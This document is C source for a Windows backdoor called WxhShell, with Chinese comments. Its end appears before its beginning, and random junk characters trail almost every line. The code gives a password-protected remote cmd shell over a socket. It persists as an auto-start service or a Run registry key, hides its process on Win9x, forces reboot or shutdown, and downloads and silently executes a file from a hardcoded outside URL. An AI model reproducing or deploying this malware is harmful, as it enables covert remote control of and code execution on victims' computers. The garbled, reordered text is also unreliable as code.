    if(Boot(SHUTDOWN)) d6a3\f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z/]]u.UP  
    else { $1$0M  
    closesocket(wsh); Uc,MZV4  
    ExitThread(0); !w}b}+]GB  
    } ;W T<]  
    break; f^-ot@w  
    } ;F|#m,2Q-  
  // 获取shell eBH:_Ls_-^  
  case 's': { dF[|9%)  
    CmdShell(wsh); hF{gN3v5  
    closesocket(wsh); ^RJ @9`P&t  
    ExitThread(0); * RyU*au  
    break; +_L]d6  
  } iZLy#5(St  
  // 退出 '4Jf[  
  case 'x': { #M||t|9iu?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J'ZC5Xr  
    CloseIt(wsh); &b`'RZe  
    break; gnGh )  
    } wfv\xHG  
  // 离开 jEE!H /  
  case 'q': { 8_E(.]U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b}DC|?~M  
    closesocket(wsh); gW<6dP'v  
    WSACleanup(); otdRz<C  
    exit(1); z4 <_>)p  
    break; dl"=ZI '^  
        } 0hhxTOp  
  } Rc:}%a%e  
  } >|z:CX$]  
tz8 fZ*n  
  // 提示信息 8k3y"239t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wsgp#W+  
} qw$9i.Z  
  } L2p?] :-  
064k;|>D  
  return; oNIYO*[  
} < =~=IZ)  
2WDe 34   
// shell模块句柄 zrqI^i"c  
int CmdShell(SOCKET sock) S]ayH$w\Q  
{ N,Z*d  
STARTUPINFO si; 4 ob?M:S  
ZeroMemory(&si,sizeof(si)); "P0!cY8r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /{:XYeX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Z4*;VwQ  
PROCESS_INFORMATION ProcessInfo; 7~FHn'xt  
char cmdline[]="cmd"; 4#}aLP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); er5!n e  
  return 0; UOFb.FRP>  
} _  xym  
n807?FORB  
// 自身启动模式 =%<, ^2o  
int StartFromService(void) eM{u>n+`F0  
{ ?QmtZG.$  
typedef struct HHZw-/ s,%  
{ xVw@pR;  
  DWORD ExitStatus; ]\KVA)\  
  DWORD PebBaseAddress; ]E-3/r$_cO  
  DWORD AffinityMask; 1I`F?MT  
  DWORD BasePriority; _?:jZ1wZ  
  ULONG UniqueProcessId; Arg/ge.y  
  ULONG InheritedFromUniqueProcessId; @!=Ds'MJC  
}   PROCESS_BASIC_INFORMATION; &ocuZ -5`  
JRi:MWR<r  
PROCNTQSIP NtQueryInformationProcess; Pc*lHoVL  
S't9F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .hu7JM+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9DJ&J{2W  
V]; i$  
  HANDLE             hProcess; }2@Z{5sh)  
  PROCESS_BASIC_INFORMATION pbi; |,@D <  
MOK}:^bSu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O-HS)g$2  
  if(NULL == hInst ) return 0; u.|%@  
\wD/TLS}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CV\^gTPmx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EYn?YiVFU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (_|*&au J  
haBmwq(f  
  if (!NtQueryInformationProcess) return 0; ,|d9lK`"P  
_Iminet  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %SOXw 8-  
  if(!hProcess) return 0; r@}`Sw]@  
t 86w&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >vp4R`  
LT<2 n.S  
  CloseHandle(hProcess); e2v`  
{daX?N|V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #%Bt!#  
if(hProcess==NULL) return 0; ?[d4HKs  
>({qgzV`  
HMODULE hMod; -'g> i  
char procName[255]; e)wi}\:q_  
unsigned long cbNeeded; _$96y]Bpi  
ed`"xm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \894 Jqh  
9:4S[mz/hD  
  CloseHandle(hProcess); w.w{L=p:<"  
x)*Lu">  
if(strstr(procName,"services")) return 1; // 以服务启动 72d|Jbd  
&RYdSXM  
  return 0; // 注册表启动 V\Gs&>  
} TdgK.g 4  
*0xL(  
// 主模块 Vt(Wy  
int StartWxhshell(LPSTR lpCmdLine) q@~g.AMCB  
{ F<k+>e  
  SOCKET wsl; TG}owG]]  
BOOL val=TRUE; y62f{ks_/  
  int port=0; sJ|pR=g)!  
  struct sockaddr_in door;  >9!J?HA  
mFF4qbe  
  if(wscfg.ws_autoins) Install(); >2znn&g Z  
-DdHl8  
port=atoi(lpCmdLine); *sOb I(&  
3~T ~Bs  
if(port<=0) port=wscfg.ws_port; ekvs3a^  
B^/MwD>%  
  WSADATA data; #zTy7ZS,0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a*y9@RC}  
a~7D4G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `s)4F~aVo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V?j,$LixY  
  door.sin_family = AF_INET; )vS0Au^C~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RFL * qd4  
  door.sin_port = htons(port); e&;e<6l&{  
n7fhc*}:`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !CUl1L1DSi  
closesocket(wsl); 8{jXSCP#  
return 1; dhtH&:J< ;  
} Q4m> 3I  
4j=3'Z|  
  if(listen(wsl,2) == INVALID_SOCKET) { M5h r0 R{  
closesocket(wsl); IFTNr2I  
return 1; 20V~?xs~  
} Zu,:}+niU  
  Wxhshell(wsl); `.MZ,Xhqi"  
  WSACleanup(); (U.Go/A#wE  
;|WUbc6&g  
return 0; M YF ^zheD  
/eQAGFG  
} Zu.hcDw1  
,!l_  
// 以NT服务方式启动 &`I(QY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T&_&l;syA  
{ #gQn3.PX+y  
DWORD   status = 0; ByY2KJ7  
  DWORD   specificError = 0xfffffff; RqTO3Kf  
8TFQ%jv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wnokP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f256;3n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X%'z  
  serviceStatus.dwWin32ExitCode     = 0; "@&TC"YG0  
  serviceStatus.dwServiceSpecificExitCode = 0; W^[FWFUTY  
  serviceStatus.dwCheckPoint       = 0; Y/5M)AyJt  
  serviceStatus.dwWaitHint       = 0; 6Cj7 =|L7  
2'?'dfj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 23):OB>S`  
  if (hServiceStatusHandle==0) return; !G3AD3  
,,{;G'R|  
status = GetLastError(); ~A=zjkm  
  if (status!=NO_ERROR) W<)P@_+-  
{ 2|>\A.I|=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9~Dg<wQ  
    serviceStatus.dwCheckPoint       = 0; z ?\it(  
    serviceStatus.dwWaitHint       = 0; KQPu9f9  
    serviceStatus.dwWin32ExitCode     = status; @PvO;]]%  
    serviceStatus.dwServiceSpecificExitCode = specificError; S?0o[7(x*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 45c?0tj  
    return; Y6v{eWtSn  
  } 3^UdB9j;  
rRq60A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cq2Wpu-u  
  serviceStatus.dwCheckPoint       = 0; k4ti#3W5eG  
  serviceStatus.dwWaitHint       = 0; Bz ;r<Kn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vUpAW[[  
} g0grfGo2p  
m;dwt1'Zw  
// 处理NT服务事件,比如:启动、停止 >R F|Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2$Mnwxfk  
{ 5.6tVr  
switch(fdwControl) (!nkv^]  
{ yNns6  
case SERVICE_CONTROL_STOP: (t-hi8"  
  serviceStatus.dwWin32ExitCode = 0; f)*"X[)o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l53i {o  
  serviceStatus.dwCheckPoint   = 0; >_?i)%+)  
  serviceStatus.dwWaitHint     = 0; TwkT|Piw S  
  { &!8 WRJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =npE?wK  
  } tY"eoPme  
  return; 8zx]/ >  
case SERVICE_CONTROL_PAUSE: %y6Q3@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?),b902C  
  break; tY)L^.*7  
case SERVICE_CONTROL_CONTINUE: kZw"a*6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C^ )Imr  
  break; z By%=)`  
case SERVICE_CONTROL_INTERROGATE: ;R*-cm  
  break; jaoZ}}V_$  
}; [Fr](&Tx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /w?e(v<  
} EsGu#lD2  
O@Aazc5K  
// 标准应用程序主函数 q| D5 A|)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aS [[ AL  
{ L )JB^cxf  
.t@|2  
// 获取操作系统版本 t$!zgUJ  
OsIsNt=GetOsVer(); nONuw;K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rt+4-WuK>  
~~/,2^   
  // 从命令行安装 RAO+<m  
  if(strpbrk(lpCmdLine,"iI")) Install(); c< $<n  
*igmi9A  
  // 下载执行文件 T3{O+aRt  
if(wscfg.ws_downexe) { TWRP|i!i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <[db)r~c  
  WinExec(wscfg.ws_filenam,SW_HIDE);  vywB{%p  
} ZexC3LD"  
cI2Ps3~"Q  
if(!OsIsNt) { o+1 (N#?m9  
// 如果时win9x,隐藏进程并且设置为注册表启动 R:~aX,qR  
HideProc(); 8 1Kf X {|  
StartWxhshell(lpCmdLine); dtR"5TL<~}  
} ['mpxtG  
else S8#0Vo$)a  
  if(StartFromService()) 9\_s&p=:.  
  // 以服务方式启动 Clum m@z;#  
  StartServiceCtrlDispatcher(DispatchTable); P =X]'m_B  
else $Z G&d  
  // 普通方式启动 xvTtA61Vp  
  StartWxhshell(lpCmdLine); Z@Rm^g]o  
.RxTz9(  
return 0; ,t`V^(PEq  
} vvxxwZa=O  
Nn05me"X  
W22S/s  
+VUkV-kP  
=========================================== {lds?AuK  
D :@W*,  
#`SAc`:n  
f+ r>ur}\)  
Usf@kVQ  
doanTF4Da  
" [K4cxqlfk  
bg zd($)u  
#include <stdio.h>  y<Koc>8  
#include <string.h> KtQs uL%  
#include <windows.h> IO\1nB$0nb  
#include <winsock2.h> N'2?Zb  
#include <winsvc.h> J||g(+H>  
#include <urlmon.h> HJl?@& l/  
5sY $  
#pragma comment (lib, "Ws2_32.lib") ]KFh 1  
#pragma comment (lib, "urlmon.lib") m^ xTV-#l@  
e)e(f"t6Q  
#define MAX_USER   100 // 最大客户端连接数 qR@ES J_  
#define BUF_SOCK   200 // sock buffer Lvf<g}?4  
#define KEY_BUFF   255 // 输入 buffer Z[@ i/. I  
t utk*|S  
#define REBOOT     0   // 重启 e1Db +QBV  
#define SHUTDOWN   1   // 关机 XVs]Y'* x  
tb&?BCp  
#define DEF_PORT   5000 // 监听端口 9 /H~hEVK  
s-CAo~,  
#define REG_LEN     16   // 注册表键长度 iWt%Boyi  
#define SVC_LEN     80   // NT服务名长度 [(n5-#1S  
Q,NnB{R  
// 从dll定义API ; <FAc R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )la3GT*1mS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RE t&QP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x]7:MG$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vl^x_gs#_]  
li*S^uSF  
// wxhshell配置信息 N]W*ei  
struct WSCFG { Nn_fhc>  
  int ws_port;         // 监听端口 WDw<kX6p  
  char ws_passstr[REG_LEN]; // 口令 B!&5*f}*  
  int ws_autoins;       // 安装标记, 1=yes 0=no /O[6PG  
  char ws_regname[REG_LEN]; // 注册表键名 2c Xae  
  char ws_svcname[REG_LEN]; // 服务名 VN)WBv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vsI;ooR>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R2)@Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C@qWour  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EE'2<"M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4u5j 7`O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]O|>nTa  
0/ QDfA?  
}; >v,X:B?+FL  
od!44p]  
// default Wxhshell configuration 7@{%S~TN  
struct WSCFG wscfg={DEF_PORT, ^JY {<   
    "xuhuanlingzhe", !{l% 3'2  
    1, ?c8~VQaQ  
    "Wxhshell", _f!ko<52  
    "Wxhshell", I[%IW4jJ  
            "WxhShell Service", Z.${WZW  
    "Wrsky Windows CmdShell Service", D*.3]3-I  
    "Please Input Your Password: ", le5@WG/x  
  1, URVW5c  
  "http://www.wrsky.com/wxhshell.exe", ~?NCmU=3  
  "Wxhshell.exe" 8ve-g\C8 H  
    }; v o:KL%)  
>"/TiQt  
// 消息定义模块 vJ0v6\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B>i%:[-e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G4i%/_JU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8g=O0Gb  
char *msg_ws_ext="\n\rExit."; S*Ea" vBA  
char *msg_ws_end="\n\rQuit."; 2[Bbdg[O  
char *msg_ws_boot="\n\rReboot..."; ,i*rHMe  
char *msg_ws_poff="\n\rShutdown..."; =)bOteWM  
char *msg_ws_down="\n\rSave to "; Ls2OnL9  
@6ckB (  
char *msg_ws_err="\n\rErr!"; )nHMXZ>Td  
char *msg_ws_ok="\n\rOK!"; M Q =x:p{  
Z&^vEQ  
char ExeFile[MAX_PATH]; \B')2phE  
int nUser = 0; 3JD62wtx  
HANDLE handles[MAX_USER]; Yh]a4l0  
int OsIsNt; bAt!S  
ta&z lZt  
SERVICE_STATUS       serviceStatus; iB0r+IbR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U,b80%k:  
vT5GUO{5  
// 函数声明 b$2=w^*  
int Install(void); 3~`\FuHHe  
int Uninstall(void); 3+>R%TX6i<  
int DownloadFile(char *sURL, SOCKET wsh); dtuCA"D  
int Boot(int flag); A]"6/Lr9P  
void HideProc(void); ,GWa3.&.d  
int GetOsVer(void); v_5O*F7)  
int Wxhshell(SOCKET wsl); )-+tN>Bb  
void TalkWithClient(void *cs); 7'+`vt#E  
int CmdShell(SOCKET sock); kYS#P(1  
int StartFromService(void); /;_$:`|/  
int StartWxhshell(LPSTR lpCmdLine); _Nh])p-  
oxFd@WV5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  e$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >%"TrAt  
p YCMJK-H  
// 数据结构和表定义 {X, -T&  
SERVICE_TABLE_ENTRY DispatchTable[] = ->|eMV'd  
{ ^Ip\`2^u  
{wscfg.ws_svcname, NTServiceMain}, uEPm[oyX  
{NULL, NULL} L e~D"d8  
}; o<b  
pe[huYE  
// 自我安装 {{A=^rr%C  
int Install(void) nkq{_;xp  
{ $I`,nN  
  char svExeFile[MAX_PATH]; (6[<+j&.  
  HKEY key; o ^w^dgJ  
  strcpy(svExeFile,ExeFile); +2E~=xX  
~DLxIe  
// 如果是win9x系统,修改注册表设为自启动 )cN=/i  
if(!OsIsNt) { d >M0:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P Jb /tKC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !h&h;m/c  
  RegCloseKey(key); H{P*d=9v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gyu =}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;d7Qw~v1s  
  RegCloseKey(key); }`whg8 fZ  
  return 0; ,DKW_F|  
    } cmf*BkS  
  } I-s$U T[p  
} L#vk77  
else { L-W*h  
_58&^:/^  
// 如果是NT以上系统,安装为系统服务 TFc/`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =w7k@[Bq  
if (schSCManager!=0) >taT V_,  
{ R{4[.  
  SC_HANDLE schService = CreateService wj$3 L3  
  ( g[2[ zIB=  
  schSCManager, "=f,4Zbj  
  wscfg.ws_svcname, 7<Ut/1$MI  
  wscfg.ws_svcdisp, |b Z 58{}  
  SERVICE_ALL_ACCESS, Y0'~u+KS`5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sr10ot&ox  
  SERVICE_AUTO_START, UL8"{-`_\  
  SERVICE_ERROR_NORMAL, ue *mTMN  
  svExeFile, pv|D{39Hs  
  NULL, 0/+TQD!L  
  NULL, TAM`i3{D  
  NULL, r-BqIoVT  
  NULL, aj+I+r"~  
  NULL >48)@sS  
  ); &)Wm rF  
  if (schService!=0) e]jzFm~  
  { BGB.SN#q+  
  CloseServiceHandle(schService); 9&c *%mm  
  CloseServiceHandle(schSCManager); >GDN~'}^oz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LrfyH"#!:  
  strcat(svExeFile,wscfg.ws_svcname); QZ-6aq\sgp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )N ^g0 L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {7Ez7'SVV  
  RegCloseKey(key); ctC! b{S"@  
  return 0; kZ_5R#xK  
    } ~o ;*{ Q  
  } JENq?$S  
  CloseServiceHandle(schSCManager); `Oi6o[a  
} n@e|PWu  
} $/i;UUd  
2L2)``*   
return 1; 7 ( /  
} [VB\ T|$  
6v -2(Y  
// 自我卸载 9/GC8*+  
int Uninstall(void)  - zEQ/6  
{ W$Z""  
  HKEY key; g|3FJA/  
zQ eXN7$  
if(!OsIsNt) { @h\u}Ee  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zI>,A|yy  
  RegDeleteValue(key,wscfg.ws_regname); CI?M2\<g  
  RegCloseKey(key); D #twS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Ai\XS Am  
  RegDeleteValue(key,wscfg.ws_regname); tdRnRoB  
  RegCloseKey(key); 5E|/n(  
  return 0; T;I>5aQ:q4  
  } /?8rj3  
} eYjr/`>O  
} UD r@  
else { Jqi^Z*PuX  
Q,f5r%A.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *j= whdw%J  
if (schSCManager!=0) [[:wSAO>6'  
{ b _0Xi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I%G6V a@  
  if (schService!=0) &@D,|kHk  
  { "^iw {]~U  
  if(DeleteService(schService)!=0) { bxg9T(Bj  
  CloseServiceHandle(schService); {Uu|NA87Cd  
  CloseServiceHandle(schSCManager); 3>sA_  
  return 0; C}GOwvAL>  
  } Co>=<\yi  
  CloseServiceHandle(schService); ZgI1Byf  
  } '.DFyHsq  
  CloseServiceHandle(schSCManager); 1~q|%"J  
} }" 'l8t0?  
} {*PB+WGe  
P\H$*6v(  
return 1; VSt)~  
} fL&bN[XA"$  
J4ltHk.|  
// 从指定url下载文件 |P]>[}mD  
int DownloadFile(char *sURL, SOCKET wsh) +lqX;*a=N  
{ ;/Dp  
  HRESULT hr; :>g*!hpb  
char seps[]= "/"; DPZG_{3D  
char *token; "o[j'  
char *file; ) >SU J^u  
char myURL[MAX_PATH]; {)0"?$C_H  
char myFILE[MAX_PATH]; !_gHIJiq}  
+Te;LJP  
strcpy(myURL,sURL); s k_Q\0a  
  token=strtok(myURL,seps); EWg\\90  
  while(token!=NULL) wGf SVA-q\  
  { x, ^j=n  
    file=token; LY^pmak  
  token=strtok(NULL,seps); Hh8)d/D  
  } ~O}LAzGb  
C_= WL(  
GetCurrentDirectory(MAX_PATH,myFILE); /uzU]3KF~  
strcat(myFILE, "\\"); V}kZowWD  
strcat(myFILE, file); G? "6[w/p  
  send(wsh,myFILE,strlen(myFILE),0); 5l"v:Px  
send(wsh,"...",3,0); /u 8m|S<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 50.cMms  
  if(hr==S_OK) y++[:M  
return 0; auTApYS53  
else Z;QbqMj  
return 1; i 7 f/r.  
V4 PD]5ZW  
} aD@sb o  
n15F4DnP  
// 系统电源模块 >\ :kP>U  
int Boot(int flag) K Zw"?%H[  
{ /t083  
  HANDLE hToken; y-93 >Y  
  TOKEN_PRIVILEGES tkp; n LZ  
{? jr  
  if(OsIsNt) { O&?i8XsB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q!:J.J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iC`K$LY4W  
    tkp.PrivilegeCount = 1; !e >EDYbY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /JfRy%31  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )FkJ=P0  
if(flag==REBOOT) { Og?]y ^y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /bj D*rj  
  return 0; %_!YonRY|X  
} SAt{At  
else { fKMbOqU_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VSCOuNSc  
  return 0; nTweQ  
} &JM|u ww?1  
  } LuB-9[^<  
  else { /,z4tf  
if(flag==REBOOT) { R*D0A@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 61q:nWs  
  return 0; g jJ?*N[  
} <3iL5}  
else { #$QC2;/)F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >v9 ("  
  return 0; < 6[XE  
} lUd/^u`  
} Ms.1RCup  
`)FSJV1  
return 1; "]81+ D  
} vJT %ET  
t3.;W/0_  
// win9x进程隐藏模块 aCe<*;b@  
void HideProc(void) O<Rm9tZ8  
{ W|oLS  
(7G5y7wI"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y1!c:&  
  if ( hKernel != NULL ) {i)k#`  
  { t8,s]I&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~*9 vn Z@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v_PhJKE  
    FreeLibrary(hKernel); o })k@-oL  
  } NuKktQd  
z!quA7s<]  
return; :[oFe/1K!4  
} eDR4 c%  
x8xSA*@k  
// 获取操作系统版本 X|)Ox ,(  
int GetOsVer(void)  g-MaP  
{ j()<.h;'  
  OSVERSIONINFO winfo; rYbb&z!u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -(4)lw>U  
  GetVersionEx(&winfo); &{?*aK&%3l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cvr?%+)$M  
  return 1; q$Z.5EN  
  else 2XubM+6  
  return 0; 8r7~ >p~  
} K'EGm #I  
)2KQZMtgm]  
// 客户端句柄模块 | -l)$i@  
int Wxhshell(SOCKET wsl) KPI c?|o/6  
{ z{w!yMp"  
  SOCKET wsh; /l-lkG5  
  struct sockaddr_in client; vq|o}6Et  
  DWORD myID; ?'_E$  
=^m,|j|d>4  
  while(nUser<MAX_USER) &o>ctf.x  
{ B>}=x4-8  
  int nSize=sizeof(client); :gMcl"t--  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mvq5s+.  
  if(wsh==INVALID_SOCKET) return 1; M}E0Msq_o  
A` x_M!m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SR@yG:~  
if(handles[nUser]==0) 6\ g-KO  
  closesocket(wsh); 2`qO'V3Q  
else Zb<IZ)i#1  
  nUser++; |X/ QSL  
  } kYBy\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t(YrF,  
j^ VAA\  
  return 0; _zq"<Q c  
} u/3[6MIp  
E?1"&D m  
// 关闭 socket kXGJZ$  
void CloseIt(SOCKET wsh) RM8p[lfX  
{ 'xi[- -  
closesocket(wsh); ;Ll/rJ:*  
nUser--; eHUr!zH:  
ExitThread(0); \^O#)&5 V  
} WVUa:_5{  
c+:LDc3!Gb  
// 客户端请求句柄 RO(~c-fV  
void TalkWithClient(void *cs) AsyJDt'i  
{ B -XM(C j  
Ff xf!zS  
  SOCKET wsh=(SOCKET)cs; X_yAx)Do  
  char pwd[SVC_LEN]; Gzxq] Mg  
  char cmd[KEY_BUFF]; jU\vg;nr  
char chr[1]; x _&=IyU0j  
int i,j; +cS%b}O`$  
-F.A1{l[.  
  while (nUser < MAX_USER) { '|mVY; i[  
))Ws{  
if(wscfg.ws_passstr) { 0J-]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0F$;]zg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dc[w`  
  //ZeroMemory(pwd,KEY_BUFF); (\^| @  
      i=0; H4[];&]xr  
  while(i<SVC_LEN) { DK8eFyG^2  
<BoDLvW>  
  // 设置超时 Y)*5M  
  fd_set FdRead; W`HO Q  
  struct timeval TimeOut; oG5 :]/F  
  FD_ZERO(&FdRead); q3a`Y)aVB  
  FD_SET(wsh,&FdRead); FV>j !>Y  
  TimeOut.tv_sec=8; 4 [2^#t[  
  TimeOut.tv_usec=0; R%)ZhG*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [J4 Aig  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;8z40cD  
i[obQx S94  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U40adP? a  
  pwd=chr[0]; t?J Y@hT*  
  if(chr[0]==0xd || chr[0]==0xa) { bvZTB<rA  
  pwd=0; KLqn`m`O;  
  break; 6q^Tq {I  
  } ].Mr&@  
  i++; @]$qJFXx  
    } "vVL52HwB  
%n<u- {`  
  // 如果是非法用户,关闭 socket r83chR9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q"UWh~  
} ^6*LuXPv  
HZ$q`e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gG;d+s1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6- H81y 3  
Y{yN*9a79  
while(1) { V_Owi5h  
\wW'Hk=  
  ZeroMemory(cmd,KEY_BUFF); (x7AV$N  
? U~}uG^  
      // 自动支持客户端 telnet标准   q}Wd`>VDR  
  j=0; QIl![%  
  while(j<KEY_BUFF) { 2p3ep,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " jefB6k9h  
  cmd[j]=chr[0]; -cW`qWbd  
  if(chr[0]==0xa || chr[0]==0xd) { xsjJ8>G  
  cmd[j]=0; .O9 A[s<  
  break; 2K/+6t}  
  } Wl3jbupu _  
  j++; ISo{>@a-  
    } 5X^bvW26  
BzFD_A>j;_  
  // 下载文件 a|B^%  
  if(strstr(cmd,"http://")) { +QS7F`O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B-63IN  
  if(DownloadFile(cmd,wsh)) }T!2IaAB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AEx|<E0  
  else UPtWj8h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q8:`;W  
  } HA}pr6Z  
  else { W`zY\]  
#@h3#IC  
    switch(cmd[0]) { (GnwK1f  
  ).+!/x  
  // 帮助 -!]Ie4"  
